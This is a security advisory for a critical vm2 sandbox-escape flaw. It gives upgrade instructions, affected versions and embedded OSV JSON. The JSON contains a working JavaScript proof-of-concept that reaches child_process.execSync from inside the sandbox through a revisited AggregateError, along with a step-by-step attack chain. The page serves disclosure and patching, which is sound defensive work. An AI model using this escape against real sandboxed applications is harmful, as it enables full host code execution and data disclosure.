CVE-2026-92934: Vm2 Remote Code Execution Vulnerability
CRITICALCVE-2026-92934 is a CRITICAL (CVSS 9.0) remote code execution vulnerability (CWE-693: Protection Mechanism Failure) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 sandbox escape to host rce via revisited host-wrapped aggregateerror bypassing error sanitization cycle short-circuit. Remediation is available by upgrading affected packages to version 3.11.8.
CVE-2026-92934 at a Glance
Security Impact
CVSS: 9.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-92934
To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install vm2@3.11.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls vm2
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-92934, inspect your project dependencies using npm:
npm ls vm2
Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.8), your application is affected.
Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-92934 Affected Vm2 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
vm2
|
npm |
< 3.11.8
|
3.11.8
|
References
Frequently Asked Questions
What is CVE-2026-92934?
Which Vm2 versions are affected?
What version fixes CVE-2026-92934?
Is vm2 affected?
What is the CVSS score of CVE-2026-92934?
What CWE is associated with CVE-2026-92934?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-x965-fc75-jpqh",
"modified" : "2026-10-05T22:38:04Z",
"published" : "2026-10-05T22:38:04Z",
"aliases" : [ "CVE-2026-92934" ],
"summary" : "vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit",
"details" : "## Summary\nvm2 `3.11.6` (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit `7e3faaf`). Sandbox code that catches a host-wrapped `AggregateError` which is *revisited within a single `handleException` traversal* (self-cycle, mutual-cycle, or the same host aggregate referenced twice in `errors[]`) receives a live, unsanitized host proxy inside the \"sanitized\" `errors[]`, yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.\n\n## Root Cause\n`handleException` (`lib/setup-sandbox.js`) breaks recursion cycles at line 1819 with `if (apply(localWeakMapGet, visited, [e])) return e;` — returning the RAW host carrier on revisit. For plain-`Error` carriers this is safe because `sanitizeErrorCause`/`sanitizeHostOwnProps` seal the host object **in place** on first visit. But `sanitizeAggregateError` (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh `LocalAggregateError` and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via `sanitizedArr[sanitizedArr.length] = handleException(item, visited)` (line 1965) into the \"sanitized\" `errors[]`.\n\n## Impact\nFull host RCE (`child_process.execSync`) and host info disclosure (`process.env`, `.pid`) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.\n\n## Proof of Concept\n```js\nconst {VM} = require('vm2');\nconst vm = new VM({ sandbox: { hostThrow(){\n const shared = new AggregateError([], 'shared');\n shared.leak = process; // incidental host ref\n throw new AggregateError([shared, shared], 'all failed'); // same host obj twice\n}}});\nconsole.log(vm.run(`\n try { hostThrow(); } catch (e) {\n e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();\n }`)); // -> uid=1000(...) host RCE\n```\nConfirmed vectors (all return real `id` output): AggregateError self-cycle (`agg.errors=[agg]; agg.leak=process`), duplicate-in-array (`[shared,shared]`), mutual-cycle (`a.errors=[b]; b.errors=[a]`), and nested mutual/duplicated host sub-AggregateError.\n\n## Attack Chain\n1. **Entry** — embedder exposes a host function the sandbox invokes; it throws a host-wrapped `AggregateError` carrying a host reference in a rebuild-surviving slot plus a revisit trigger (`agg.errors=[agg]; agg.leak=process`). *Guard:* none at entry (throwing from an exposed host fn is normal). *Bypass proof:* same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, `docs/ATTACKS.md` Category 38), accepted in scope.\n2. **Caught-exception sanitizer** — sandbox `try{hostThrow()}catch(e){…}`; transformer routes `e` through `handleException`. *Guard:* Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). *Bypass proof:* `handleException(agg)` marks `agg` visited (1820); proto-walk routes to `sanitizeAggregateError` (1865); host-wrapped branch reads `agg.errors` and calls `handleException(agg, visited)` on element 0 (1965); that inner call hits `visited.get(agg)===true` → `return e` (1819) → raw `agg` proxy pushed into `sanitizedArr` → becomes `newAgg.errors[0]`. The rebuild does NOT seal `agg` in place, so the returned proxy is fully live.\n3. **Sink** — `e.errors[0].leak.mainModule.require('child_process').execSync('id')`. *Guard:* bridge `get` wraps host values. *Bypass proof:* the wrap is functional, not capability-restricting; instrumented trace shows `e.errors[0].isProxy===true` yet the chain executes and returns real `uid=1000(ubuntu)...`.\n4. **Impact** — host RCE with host privileges; also `process.env`/`.pid` disclosure.\n\n## Bypass Evidence\nExecuted on node v22.23, vm2 `3.11.6`:\n- Baseline vector `throw new Error('x',{cause:process})` (plain Error `.cause`) → BLOCKED\n- Plain Error own-prop `e.leak=process` (non-cyclic) → BLOCKED\n- Non-cyclic host `AggregateError` w/ own-prop or single host sub-error leak → BLOCKED\n- **AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (`uid=1000(ubuntu)…`)**\n\nEvery non-cyclic shape and the exact baseline `cause` vector are blocked; only the revisited host `AggregateError` leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: `outerLeakType=\"undefined\"` (outer rebuilt safe), `isErrors0Proxy=true` (element 0 is a live host proxy), `rce=uid=1000(ubuntu)…`.\n\n## Affected Versions\n`<= 3.11.6`. The bug exists from the sanitization fix (`7e3faaf`, tag `3.11.6`) onward — an incomplete-fix bypass exists only where the fix exists. `git diff 3.11.6 HEAD -- lib/setup-sandbox.js` is empty (HEAD identical).\n\n## Scope Note\nThis advisory covers the **AggregateError** family only. A `SuppressedError` variant does NOT reproduce (`se.error` returns undefined; RCE blocked) and is excluded.\n\n## Suggested Fix\nOn the cycle short-circuit (line 1819), return the memoized sandbox-realm *replacement* (keyed in `visited`) rather than the raw carrier; OR seal host-wrapped `AggregateError`/`SuppressedError` carriers in place *before* recursing into sub-errors, mirroring the plain-carrier `sanitizeHostOwnProps` invariant.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "vm2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.11.8"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.11.7"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-x965-fc75-jpqh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-92934"
}, {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/commit/c8c232530b860cfecf6f94bc8d0d0890aa381460"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/patriksimek/vm2"
}, {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.8"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-rce-via-aggregateerror"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-693" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-05T22:38:04Z",
"nvd_published_at" : null
}
}